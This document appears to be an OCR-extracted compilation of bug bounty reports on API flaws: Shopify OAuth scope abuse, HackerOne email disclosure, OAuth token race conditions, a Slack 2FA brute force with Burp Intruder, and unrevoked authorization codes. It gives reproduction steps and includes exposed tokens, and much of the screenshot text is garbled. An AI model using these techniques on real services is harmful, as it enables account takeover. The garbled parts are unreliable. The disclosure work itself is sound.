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URL GET/POST data: GET METHOD:

https://app.mopub.com/networks/v2/api/segment/%5BSegment id%5D

Business Logic:

1.Go to your mopub account and create a segment in your network.
2.You will get a segment ID now.


https://hackerone.com/redirect?signature=8247a79a518cd115d0972a4be865a9778b7123c4&url=https%3A%2F%2Fapp.mopub.com%2Fnetworks%2Fv2%2Fapi%2Fsegment%2F%255BSegment_id%255D

3.Now Go to the API link :

https://app.mopub.com/networks/v2/api/segment/%5BSegment id%5D

Note : page will take lot of time to open and your browser may crash because the response will
have all the Apps in mohub with there hash key.

4. When the page will be opened you can see all the Apps in App section.



https://hackerone.com/redirect?signature=8247a79a518cd115d0972a4be865a9778b7123c4&url=https%3A%2F%2Fapp.mopub.com%2Fnetworks%2Fv2%2Fapi%2Fsegment%2F%255BSegment_id%255D
https://hackerone.com/redirect?signature=8247a79a518cd115d0972a4be865a9778b7123c4&url=https%3A%2F%2Fapp.mopub.com%2Fnetworks%2Fv2%2Fapi%2Fsegment%2F%255BSegment_id%255D

Vulnerability Type: API

Screenshot of Component:

&)\ shopify #* Install Test_app

Search

Home

Orders

Products

Customers

Reports

Discounts

Online Store

Point of Sale

Facebook

Buy Button

Mobile App

Apps

Settings

API EXAMPLE 7

Cancel

Test_app whiled2

You’re about to install Test_app

This application will be able to access and modify your store data.
Once installed, link will be added to your Shopify admin.

This application will be able to:

Modify Applications
Modify Store content like articles, blogs, comments, pages, and redirects
Modify Customer details and customer groups
Read Disputes
Modify Fulfillment Services
Modify Gift Cards
Modify Orders, transactions and fulfiliments
Modify Products, variants and collections
Modify Script Tags in your store's theme template files
Modify Scripts
Modify Shipping Rates
Modify Social network accounts
Modify Theme Templates and theme assets
Modify Channels
Q Add alink labeled Admin_page to the orders overview page

Request

Raw | Headers | Hex

Response

Raw | Headers | Hex

GET 7admin/channels.json BTTE/L.1
Host: whiled 2.myshopify.com

Content-Type: application/json

H-Shopify-Aocess-Token: 77a01f069%65£316b00aEb03 16984 06
Content-Tength: 0

Request

Raw | Headers | Hex

HTTF/1.1 200 OK

Server: nginx

Date: Man, 08 Nov 2015 21:04:06 GHT
Content-Type: application/jscns charset=utf-g
Connection: keep-alive

Vary: Accept-Encoding

Vary: Accept-Encoding

Status: 200 OK

K-Frame-Options: DENY

X-ShopId: 10367585

K-Shardld: 1

X-Shopify-Shop-Api-Call-Limit: 1/40
HTTE_X_SHOPTFY SHOP _RPT_CALL_LINIT: 1/40
X-Stats-Userl
E-Gtats-] AplCller\tId' 1201004

¥-Stats ApiPermissionld: 15073664

E-¥SE-Protection: 13 mode=hlock

report=/xss-report/§3619511-5cef 4389302~ 15306c394 s6e?0urced s Bact 1on 650=in dexisources Boontrol Lers 5bzadniné2Fchannelsksa
Uroes5Basct 1ons50=admin

K-Request-Td: 536195fd-Fcef-438-330£-15906c394ebe

P3P: CP="NOI DS COR MID ADMa OPTa OUR NOR”

K-Dc: ash

X-Content-Type-Options: nosniff

Content-Length: 564

{"channels”:[{"id":23973186, "shop_id":10367585, "provider_id":1,"deleted_at”:null,"created_at”:"2015-10-25T01:19:09+02:00"}, ¢
"id"7:23974402, "shop_id”: 10367565, "provider_id”:2,"deleted_at”:null, created at”:"2015-11-01T22:27:52+01:00"},{"id":23974 146
,"shop_ia” 10367585, "provider_ia” null, created_at”:"2015-10-30T23:47:36+01:00"}, ("1d" 123973250, "shop_1d":10
367505, "provider_id”:6, "deleted_at’ .rvu11, "created_st”:"2015-10-25T02:48:51+01:00"},{"1id":23874814, "shop_id" : 10367545, "provi
der_id”:8,"deleted_at”inull, "oreated_«t”:"2015-11-02T22:36:36+01:00"}]}

Response

HTML | Render

P e Ty 2 ] e T
Jost: whiled2.myshopify.c

e fy-AooosToken: 174017084 T65£d1500 035003 1604 0d oo
Zontent-Length

Date: Mon, 09 Now 2015 21:04:48 GMT
con ype: text/html;
Connection: keep-alive
Status: 302 Found
&-Frame-aptions: DENY
X-ShopId: 10357585
E-Shardld:
K-Shopify-Shop-Api-Call-Limit: 1790
HTTP_X_SHOPTEY_SHOP_API_CALL LIMIT:
X-Stats-Userld:
K-Stats-ApiClientId: 1201004
X-Stats_ApiPermissionld: 15073664
Location: https://whiled?.myshopify.com/admin/channels
Content-Security-Policy: default-src 'Sself’ *j connect-arc "self’ *; font-src 'self’ *; frame-src 'self’ *j img-src '=elf’
datas; media-src 'self’ *; object-src 'self’ *; script-src https://cdn.shopify.com htkps://js-agent.newrelic.com
NEbpsi//bam.n-data.net htupa://dned ocenand.cloudirant.nct Nbtps://deyice.naming con htpsi//apa.stripe. con

1740

Netpe: s/ iaitore, ool Ty om oLl unoafe inline. unafe-cval's Siye-are self 3 funsafe-inline'; repmrtouri
SR S S R M Bacti ¥ Beontroll Fehannel.
GBsection%sD=adming

Gontent-Becurity-Bol icy Report-Only: default-ars 'aelf’ hitps:) comnect-src 'self’ https: wes:; fortsre 'self hiips:
blob: dat. . nteps: blob: data:; ing-src 'self’ hitps: blob: media-src 'self’ ntips: blob: data:
sbject-sre self’ httpa: blob: datar; script-src 'aclf hitps: 'unsafe-inline’ nsafe-eval’; style-szc aelf’ https
‘unsafe-inline’; repo

/esp-report /95e5a3c1- onT-4755-04 34 as2pzene1s BactionssD
5GBscctionssD=adming

X-¥85-Protection: 1; mode=block:
report=/zsa-repart/55c583c1-96b7-4755-8434 60524 bfecc25? Bact i troll n 126
s00TCe#5Baect 1on&5D=admin

X-Request-Td: 95c503c1-0bbT-4755-8434-6d52bfecc2s

P3F: CP="NOI DSF COR NID ADMa OFTa OUR NOR'

X-Dc: ash

E-Content-Type-Options: nosnife

Content-Length: 11

Boontroller$sD=admin%2Fchannelsksoursst

<htmlx<body»¥eu are being <a href="https://whiled2.myshopify.com/admin/channels’>redirecteds/ax. < /body=</html>



URL GET/POST data: GET METHOD:

https://victim.myshopify.com/admin/oauth/authorize?client id=fc49e813f5aad9c8d8f6511703
139684 &scope=read apps,write apps,write content,read content,write customers,read cust

omers,read disputes,write fulfillments,read fulfillments,write gift cards,read gift cards,writ
e _orders,read orders,read products,write products,read script tags,write script tags,write

scripts,read scripts,read shipping,write shipping,write social network accounts,read social

network accounts,read themes,write themes,read channels,write channels&redirect uri=htt
p://while42.myshopify.com/&state=123&shop=while42

Business Logic:

As documented here, an app can access to the following scopes :
https://docs.shopify.com/api/authentication/oauth#scopes.

But an app can request/get access to a lots more scopes, and some of those scope shouldn't be
accessible.

Then request the access_token, and use it to access to any of those scopes.

1. Using your app access_token in the following requests (X-Shopify-Access-Token)
2. GET /admin/channels.json (Get all channels IDs)
3. DELETE /admin/channels/a_Channel ID.json (Remove any of the channels)

You can test at while42.myshopify.com with:
X-Shopify-Access-Token: 77a01fc64f65fd16b0b38bc31694e4ce

Request Response

Raw | Headers | Hex Raw | Headers | Hex

GET /admin/channels.json BTTE/1.1 L HBTTE/L.1 200 OK
Bost: whiled2.myshopify.com r Sexve: nginx

Content-Type: application/json Date: Mon, 09 Nov 2015 21:04:06 GMT
X-Shopify-Accesa-Token: 77a01Lc64I65£d1600b38bo3160edce Type application/jsons charset=uti-§

Content-Length: 0 Col keep-alive

H-Frame Options: DENY

E-ShopId: 10367585

H-Shardld: 1

E-Shopify-Shop-Api-Call-Limit: 1780
OF:

HTTE_X_SHOFIEY : SHOP _BPI_CARLL LIMIT: 1/40
H-Stata-UserId:

H-Sta ApLClLEntId 1201004

H-Sta rmisaionld: 15073664

K RSS-Protertian: 1 mode=block;
report=/xsa-report /5361954 -5cef-438£-930£- 153065394 efe?aources5Raction50=indexk aources5Boontroller5D=admin®2Fchannelskan
urcessBsection®ib=admin
- n equest-Id: 53613554-fcef-4385-330£-16506c354ebe
: NOI DSP COR NID ADMa OPTa GUR NOR™

E Cnm:sm: Type-Optiona: nosniff
Content-Length: 564

{"channels” "ig” ' " ,"pzuvldezild":l,"deletediat" "created_at”:"2015-10-25T01:19:09+02:00"3, ¢
"id":239744 e 12, "deleted_at”:null, creat 015-11-01T22:27:52+01:00"}, ¢"id": 23974 146
;’shop_10”:1036753 015-10-30T23:47:36+01:00"},{"1d" 123975250, "shop_id":10
367585, "provider e ol i 48:31401:00"},{"1d":23974914, “shop_id": 10367565, "provi
der_13":5, deleted_at” inull,”created_at’:"2015-11-02T22:36:36+01:00" ]}



https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://victim.myshopify.com/admin/oauth/authorize?client_id=fc49e813f5aad9c8d8f65117031a9684&scope=read_apps,write_apps,write_content,read_content,write_customers,read_customers,read_disputes,write_fulfillments,read_fulfillments,write_gift_cards,read_gift_cards,write_orders,read_orders,read_products,write_products,read_script_tags,write_script_tags,write_scripts,read_scripts,read_shipping,write_shipping,write_social_network_accounts,read_social_network_accounts,read_themes,write_themes,read_channels,write_channels&redirect_uri=http://while42.myshopify.com/&state=123&shop=while42
https://hackerone.com/redirect?signature=5b1faa96f9d95c76a2703938e50955f7c7dc3cf6&url=https%3A%2F%2Fdocs.shopify.com%2Fapi%2Fauthentication%2Foauth%23scopes

AP| EXAMPLE 8

Vulnerability Type: Disclose any user's private email through API

Screenshot of Component:

€ C () @ Secure | hitps//hackerone.com/Lugsreport = 1966564 ubject =user

& Gl HackerOne ([ Secure basebd conte [ DavaScript] Angular ) URL Decoder/Encoder  § Facebook ' Twitter Synack  [4 Server logs.

Open (1
X0 (t3stnum3)
25 - Latest activity =
3 test
® #196656 test

® New (Open) No Rating
L ng 3)

|’ ‘l

H I found P | port
1 Reg b
Add comment - None selected - Request Mediation =

Applications = Places v () Terminal + > ) G -
punit.sh + (~/Desktop) - VIM e ® 0

File Edit View Search Terminal Help

-- INSERT --

URL GET/POST data: GET METHOD:




https://api.hackerone.com/vl/reports/[report id]

Business Logic:

security vulnerability that allows an attacker to disclose any user's private email.

An attacker can disclose any user's private email by creating a sandbox program then adding
that user to a report as a participant.

Now if the attacker issued a request to fetch the report through the API, the response will
contain the invited user private email at the activities object.

Step To Reproduce:

1. Go to any report submitted to your program.

2. Add the victim username as a participant to your report.
3. Generate an API token.

4. Fetch the report through the API

Applications = Places » [ Terminal ri 22:2 ’ W) B v
punit.sh + (~/Desktop) - VIM e o o

File Edit View Search Terminal Help

-- INSERT --

The response will contain the invited user email at the activities object:

"activities":{"data":[{"type":"activity-external-user-
invited","id":"1406712","attributes":{"message":null,"created at":"2017-01-
08T01:57:27.614Z","updated at":"2017-01-
08T01:57:27.6147","internal":true,"email":"<victim's_email@example.com>"}



https://api.hackerone.com/v1/reports/%5breport_id
mailto:activities%22:%7B%22data%22:[%7B%22type%22:%22activity-external-user-invited%22,%22id%22:%221406712%22,%22attributes%22:%7B%22message%22:null,%22created_at%22:%222017-01-08T01:57:27.614Z%22,%22updated_at%22:%222017-01-08T01:57:27.614Z%22,%22internal%22:true,%22email%22:%22%3Cvictim's_email@example.com
mailto:activities%22:%7B%22data%22:[%7B%22type%22:%22activity-external-user-invited%22,%22id%22:%221406712%22,%22attributes%22:%7B%22message%22:null,%22created_at%22:%222017-01-08T01:57:27.614Z%22,%22updated_at%22:%222017-01-08T01:57:27.614Z%22,%22internal%22:true,%22email%22:%22%3Cvictim's_email@example.com
mailto:activities%22:%7B%22data%22:[%7B%22type%22:%22activity-external-user-invited%22,%22id%22:%221406712%22,%22attributes%22:%7B%22message%22:null,%22created_at%22:%222017-01-08T01:57:27.614Z%22,%22updated_at%22:%222017-01-08T01:57:27.614Z%22,%22internal%22:true,%22email%22:%22%3Cvictim's_email@example.com
mailto:activities%22:%7B%22data%22:[%7B%22type%22:%22activity-external-user-invited%22,%22id%22:%221406712%22,%22attributes%22:%7B%22message%22:null,%22created_at%22:%222017-01-08T01:57:27.614Z%22,%22updated_at%22:%222017-01-08T01:57:27.614Z%22,%22internal%22:true,%22email%22:%22%3Cvictim's_email@example.com

APl EXAMPLE 9

Vulnerability Type: Race Conditions in OAuth 2 APl implementations.

Screenshot of Component:

B o) B -

punitl.sh + (~/Desktop) - VIM e ® 0

File Edit View Search Terminal Help

File

Edit View Search Terminal Help



Applications ~ Places ~ [ Terminal ~

punitlsh + (~/Desktop) - VIM [— I C I - ]

View Search Terminal Help

-- INSERT --

URL GET/POST data: GET METHOD:

https://OAUTH PROVIDER DOMAIN/oauth/authorize?client id=APPLICATION ID&redirect uri
=https://APPLICATION REDIRECT URI&response type=code

Business Logic:

Most of OAuth 2 APl implementations seem to have multiple Race Condition vulnerabilities for
processing requests for Access Token or Refresh Token.

Race Condition allows a malicious application to obtain several access_token and refresh_token
pairs while only one pair should be generated. Further, it leads to authorization bypass when
access would be revoked.

Race Condition for Access Token:

According to OAuth 2.0 RFC, code obtained via callback may be used only once to generate
access_token (and corresponding refresh_token).

Race Condition vulnerability allows a malicious application to generate several access_token
and refresh_token pairs. This leads to authentication issue when a user will revoke access for an

application. One access_token and refresh_token pair would be revoked, but all the rest stay
active.

Step To Reproduce:

0) Register an application for using OAuth 2.0 API of the target provider. Obtain credentials for
the application

1) Open link for the application authorization in browser. Usually it looks like:


https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://hackerone.com/redirect?signature=4bf94a3da731b8d40bea59eb6d9f5a08ea5c85b1&url=https%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc6749

https://OAUTH PROVIDER DOMAIN/oauth/authorize?client id=APPLICATION ID&redirect uri
=https://APPLICATION REDIRECT URI&response type=code

2) Log into a victim's account (if it needed) and allow access for the application
3) Obtain code value from callback:

https://APPLICATION REDIRECT URI?code=AUTHORIZATION CODE VALUE

4) Try to exploit Race Condition for Access Token request. | used the following script for that:

Applications ~ Places v [ Terminal » B o) B~

punitl.sh + (~/Desktop) - VIM e e® 0

ent id=APPLICATION ID&client secret=APPLICATION SECRET&redirect uri=APPLIC

-- INSERT --

For different attempts result of its execution gives from 1 to 20 different access_token values
(may be in pair with refresh_token values) for targets which has Race Condition bug (10 of 11
tested).

5) Check each access_token. Take the simplest request from the target APl and try it for each
value, like:

GET /api/me?access_token=ACCESS_TOKEN_VALUE HTTP/1.1Host:
OAUTH_PROVIDER_DOMAIN

Usually all access_token values are valid and working.

6) Please note that Race Condition is probabilistic vulnerability. It may be needed to do few
attempts with PoC to reproduce it. Attackers usually can generate some additional load to the
server (not DoS, but many requests to vulnerable script) to increase the chance of successful
exploitation.

7) Here execution flow has two possible directions:
7A) Go to settings or applications page in the victim's account and revoke access for the


https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://application_redirect_uri/?code=AUTHORIZATION_CODE_VALUE

application. Then repeat step 5 and see if all access_tokens become invalid or not. If all
access_tokens are invalid, It is good behavior despite successful Race Condition exploitation.
Actually, in some cases only one access_token is revoked, while all the rest stay valid.

7B) Use revocation request (like /oauth/revoke) for one of the access_tokens. Then repeat step
5 and see that in this case only one token is revoked, while all the rest stay active (except one of
the targets tested).

Race Condition for Refresh Token:

While code may be used only once to obtain access_token, refresh_token often may be used
only once too. In such case, Race Condition vulnerability allows an attacker to generate huge
number of access_token and refresh_token pairs. This will make it very hard for a victim to
revoke access for the malicious application.

0) Register an application for using OAuth 2.0 API of the target provider. Obtain credentials for
the application

1) Open link for the application authorization in browser. Usually it looks like:

https://OAUTH PROVIDER DOMAIN/oauth/authorize?client id=APPLICATION ID&redirect uri
=https://APPLICATION REDIRECT URI&response type=code

2) Log into a victim's account (if it needed) and allow access for the application
3) Obtain code value from callback:

https://APPLICATION REDIRECT URI?code=AUTHORIZATION CODE VALUE

4) Legally obtain access_token and refresh_token. Usually it may be done by request like:

Applications Places ~ [ Terminal ~ ri 23:03 o - o) B -
punitl.sh + (~/Desktop) - VIM e ® e

File Edit View Search Terminal Help
VALUE&client id=APPLICATION ID&client secret=APPLICATION SECRET&redirect uri=APPLIC

-- INSERT --



https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://oauth_provider_domain/oauth/authorize?client_id=APPLICATION_ID&redirect_uri=https://APPLICATION_REDIRECT_URI&response_type=code
https://application_redirect_uri/?code=AUTHORIZATION_CODE_VALUE

5) Try to exploit Race Condition for refresh_token. | used the following script for that:

Applications ~ Places ~ [ Terminal ~

punitl.sh + (~/Desktop) - VIM e ® O
File Edit View Search Terminal Help
1

ri T esh token=REFRESH TOKEN VALUE&client id=APPLICATION ID&client secret=APPLICATION SECRET" "https://0AL

-- INSERT --

For different attempts result of its execution gives from 1 to 20 different access_token values
(may be in pair with refresh_token values) for targets which has Race Condition bug.

6) Check obtained access_tokens as in previous Proof-of-Concept. All of them are valid and
working for API.

7) Please note that Race Condition is probabilistic vulnerability. It may be needed to do few
attempts with PoC to reproduce it. Attackers usually can generate some additional load to the
server (not DoS, but many requests to vulnerable script) to increase the chance of successful
exploitation.

8) Here execution flow has two possible directions:

8A) Go to settings or applications page in the victim's account and revoke access for the
application. Then repeat step 5 and see if all access_tokens become invalid or not. If all
access_tokens are invalid, It is good behavior despite successful Race Condition exploitation.
Actually, in some cases only one access_token is revoked, while all the rest stay valid.

8B) Use revocation request (like /oauth/revoke) for one of the access_tokens. Then repeat step
5 and see that in this case only one token is revoked, while all the rest stay active (except one of
the targets tested).

Exploitation for refresh_token is more dangerous than for access_token, because there is no
way for an attacker to fail. Each exploitation gives at least one new refresh_token which may be
used further. Thus, number of token pairs grows exponentially.

Impact:



Generating huge number of tokens for access is serious issue which violates OAuth framework
RFC and best practices. This vulnerability deprives a victim of ability to deny access for
malicious application (for most of implementations tested).

Because of target (e.g /oauth/token) script is vulnerable to Race Condition, there are more
attack vectors than | demonstrated. For example, an application may infinitely refresh its access
and user would not be able to revoke access too.


https://hackerone.com/redirect?signature=4bf94a3da731b8d40bea59eb6d9f5a08ea5c85b1&url=https%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc6749
https://hackerone.com/redirect?signature=4bf94a3da731b8d40bea59eb6d9f5a08ea5c85b1&url=https%3A%2F%2Ftools.ietf.org%2Fhtml%2Frfc6749

APl EXAMPLE 10

Vulnerability Type: API Rate Limit Bypass.

Screenshot of Component:

POST fapifavth.zignin HTTE,L.1

Homat: mlachk.com

Content-Type: application/x-www-form-orlencoded
Cookia: b=bjriwajlovawkdcwlwwgolgas

connection: cloas

UUID: CSEE40&F-E05F-4 14 T-REEL1-129664 SEY0AE
Bocapt: application/ j=on

User-Lgent: com.tinvapeck.chatlyio/3.5 [iPad; ios 9.3.3; sScale/2.00)
hocept-Language: en-IM;g=l

Content-Length: 77

bocept-Encoding: gEip, deflate

email=iam.midd1e%) 0yahoo.comkpaseword=iammiddlel2iepin=81111111%8E team=T1UGd 303E

Payload set: [1 |‘l"] Payload count: 100

Payload type: LEimpIEIist |'l"] Request count: 100

E] Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

| D3 330533
| Paste | | S4ceaserser A
—— | 643534534
L Load .. | | 534534546
| s7se7se
Remowve 745345 [
| 34534545674
| Clear | |sga3zss3as
M M T S Tl .
I 888292219 I e valid code
Add Enter a mew item

Add from list ... [Pro version only] v



& StartBurp a @ 8 2336 BS. s Macbook Pro
L RN ) Intruder attack 6
Attack Save Columns

J Results | Target | Positions | Payloads | Options |

ilter: Showing all items |2
Reguest 4 | Payload | status [Error | Timeout [[Cengti Linvarid, pin || comment
= = =
87 5643453453 200 =] =] 663 @
58 4534545675756 200 [S] O [ess @
89 7456345345 200 =] =] 663 @
20 3456575678657 200 5] O [ess @
91 6547456354 200 =] o 669 @
92 34564567567 200 a =] 669 @
93 643534534 200 [S] O [ess @
94 534534546 200 =] =] 663 @
o5 5756756 200 5] O [ees @
96 745345 200 =] a 669 @
a7 34534545674 200 5] O [ess @
98 564355345 200 o o 669 @
ag 34534564745 200 a o leso_J [ SSe= 1
100 888292219 200 [S] O 747 =] v
Request | Respansa
Raw | Headers [ Hex
WITE/1. L 200 oR T
Gontant-Tvpe: application/isan; charaet=otf-s
EE::::;S:[‘Q;;;E? All invalid code attempts came as 699 response length and invalid_pin error message response
Acoess-conerol-allow-origin: =
Contant-Secority-Policy: referrar no-referrsr;
n, 04 Sep 2016 18:03:05 cur
npache
SErick-Tranaporit-Gacurity: max-age=31536000; incledssubDomains; praload
spt-mrocding
Type-Opticna: noaniff
.
720bb2EE-2a0c-4da5-28aa-a0daTIoatlab
x5a-Pratesticn: 0
from cloudfront
wia: 1.1 75a81840039a30fel18 154523600025, 0londfrant.nat (clondrrant)
X-AME-GT-Td: GaiS_kAoldIlaLAouAd LoEHMeq s TdKren TN S vsTradd WogH awh
I ok':falas, "error nvalid_pin®} I
v
? < + > Type a search term 0 matches

Finished

T
StartBurp A @ B 238E i
L] [ ] Intruder attack &

Attack Save Columns

J Results | Target | Positions | Payloads | Options |

[Filter: Showing all items | =
Request 4| Payload [ status [Error | Timeout | Length | invalid_pin Comment
= = w Iy

a7 5643453453 200 a =] 669 =]

58 4534545675756 200 [S] O ees =]

89 7456345345 200 =] =] 663 2]

20 3456575678657 200 8] O s =]

91 6547456354 200 c a 669 [}

92 34564567567 200 =] =] 669 =]

93 643534534 200 [} o 669 <]

94 534534546 200 a =] 663 =]

o5 5756756 200 [S] O  ees =]

96 745345 200 =] =] 663 @

a7 34534545674 200 5] O s =]

EL] 564355345 200 =] o 669 @

99 34534564745 200 5] o

100 [ sssz52215 | 200 o O [ 7a7 | = | ®

[Reauest | Response |

Raw | Params | Headers | Hex

FOST fapifanth.signin HTTE/ L. L

Hoat: =lask.com

Content-Typs: application/z—www-form-orlsncodsd
Cookim: b=birzwa]lovawkdcwOwwas Do

Connactio

UUID: CSEEADEF_S05SF—d1d 7-REE1-123664 SEOORE

Accspe: applications3ison -
Usar_Agent: com.einydpack.chatlyio 3.5 (iPad; i0S 0.3.3; Scalafz.0o)
ansrmrg=l

only our valid payload came as 747 response length code

Accapt-Encoding: gzip, deflate

amail=iam.middletdOyahos.comipassword=iammiddlal2atp. sam=rlusa303E

v

=) =) ) () [ressen

Finished

0 matches




@ StartBurp a @ & 2336 BT W) = 60% M) Mon 12:35:26 AM Bhati"s Macbook Pro

L] L] Intruder attack &
Attack Save Columns.
J Results | Target | Positions | Payloads | Options |
[Filter: Showing all items J&
Request | Payload | status |Error | Timeout [ Length | invalid_pin | commant [
= = = Il
87 5643453453 200 =] =] 669 @
58 4534545675756 200 [S] O  ee9 @
89 7456345345 200 =] a 669 @
20 3456575678657 200 5] O  es9 @
91 6547456354 200 [} o 669 @
92 34564567567 200 a =] 669 @
EE 643534534 200 [S] O  ee9 @
94 534534546 200 =] =] 669 @
a5 5756756 200 8] O  es9 @
96 745345 200 =] a 669 @
97 34534545674 200 =] =] 669 @
98 564355345 200 [} o 669 @
99 34534564745 200 (=] o 669 €]
100 [ Lrrag) Rl — S —rs T 1 v
Request | Response
we | Headers | Hex
a
pplicationsisan; charaet=utf-g .
i
allow-origin: =
olicy: referrer no-raferrer;
2016 lo:naria oum
L-Sscurity: max-i5e=3153€000; inclodsSubDomaina; preload
. ing
% Chntent Typa-Opticna: noani ££
x
x a0cd11-207a-4ce2-8829 7o 4 702 £afEa
x o Valid code response is also changed to information about team member and user
% cloudfrant
. 56555504 bragds1b0sc 161.cloud frant. nat (SlondPrant)
x Gf-Id: GHYAREQToLOBOGSTYNYYE 8- 660 NBKAPGS T IBLYG PEgroos BIfg==
[(7ek exoe, "roken : "xoxa-62545102116-55594 7511 10-76 16604 3 750-0a50252 7 16", "vacr": U LXBLNI 36", "team” : "Tlumd3045"3 |
4
Lz =) L+ L= [Typeasearchterm 0 matches
Finished

URL GET/POST data: POST METHOD:

Vulnerable Endpoint - /api/auth.signin
Vulnerable Parameter = pin

Business Logic:

This vulnerability is about a 2FA Bypass, On Slack Web Application there is rate limit
implemented. After performing 4-6 failed 2FA Attempt, Rate limit logic will ge Triaged and ask
user to wait for next attempt(preventing automated 2FA Attempts)

Tested the same using iOS App(iOS 9.3.3 iPad Air 2) and found that APl Endpoint
"/api/auth.signin" have no rate limit implemented.

Due to this an attacker can brute force the 2FA Valid Code to get into user(Victim's account)
Vulnerable Endpoint - /api/auth.signin
Vulnerable Parameter = pin

Step To Reproduce:

1) Using Slack iOS App, Sign into an account in which 2FA is enabled.

2) Intercept the 2FA enter code request and perform many numbers of attempt But you can
perform as more as you can.

3) In attack windows you will see that all invalid code attempt came as same response code
response message of "invalid_pin" but our valid code will came as different response length
code response message like "{"ok":true,"token":"xoxs-62548102116-65394751110-
76166043750-0a50252718","user":"U1XBLN338","team":"T1UG4303E"}"






APl EXAMPLE 11

Vulnerable Type: API.

Screenshot of Component:

Applications ~  Places ~ ) Terminal ~

punit.html + (~) - VIM e e o
File Edit View Search Terminal Help

nt_id=%CLIENT_ID=

Applications Places » ] Terminal v Sat 03:00

punit + (~) - VIM © ® 0

- - [16/Apr/2015:13 +0000] "GET /call ate 34 89ab 1 1SAAAAAAAAFQDU! 8. wP8U HTTP/1.1" 200 14 "
.8 (Macintosh; Int 0S X 10_16_3) Ap 37.36 . /41.0.2272.118 r

URL GET/POST data: GET METHOD:

https://OAUTH2-PROVIDER-
DOMAIN/oauth2/authorize?client id=%CLIENT ID%&response type=code&redirect uri=https:
//avuln.com/callback&state=0123456789abcdef

Business Logic:



https://oauth2-provider-domain/oauth2/authorize?client_id=%25CLIENT_ID%25&response_type=code&redirect_uri=https://avuln.com/callback&state=0123456789abcdef
https://oauth2-provider-domain/oauth2/authorize?client_id=%25CLIENT_ID%25&response_type=code&redirect_uri=https://avuln.com/callback&state=0123456789abcdef
https://oauth2-provider-domain/oauth2/authorize?client_id=%25CLIENT_ID%25&response_type=code&redirect_uri=https://avuln.com/callback&state=0123456789abcdef

OAuth2 API makes it possible for users to grant access to their accounts to some third-side
applications. Of course, users are able to manage such applications' access to their accounts
and may deny access for any application. When some user denies access for the application, all
access_tokens (and refresh_tokens if it used) are being revoked and become invalid. But not
only access_tokens should be revoked, authorization codes (it is intermediate token used in
OAuth2 Authorization Flow) must be revoked too. Currently most of OAuth2 API
implementations do not revoke authorization code during access revocation. It may be
exploited to restore access to user's account by malicious application after access revocation.

Statistics at the moment
1. 21 OAuth2 providers had been tested, of which
2. 11 affected with missing invalidation for authorization code after access revocation
3. 10invalidate all authorization codes granted for certain pair of user and application

Proof of Concept

1) Open the link for OAuth2 authorization for some application

2) Log into your account (if needed) and click Allow (or Authorize)
3) Copy code value from callback url

4) Use code value to obtain access_token

5) Check validity of access_token by sending some API request

6) Repeat steps 1 and 2 (for most of implementations user is automatically redirected to
callback page if once access granted)

7) Copy code value from callback url and save it for future usage
8) Go to account security (or connected applications) settings

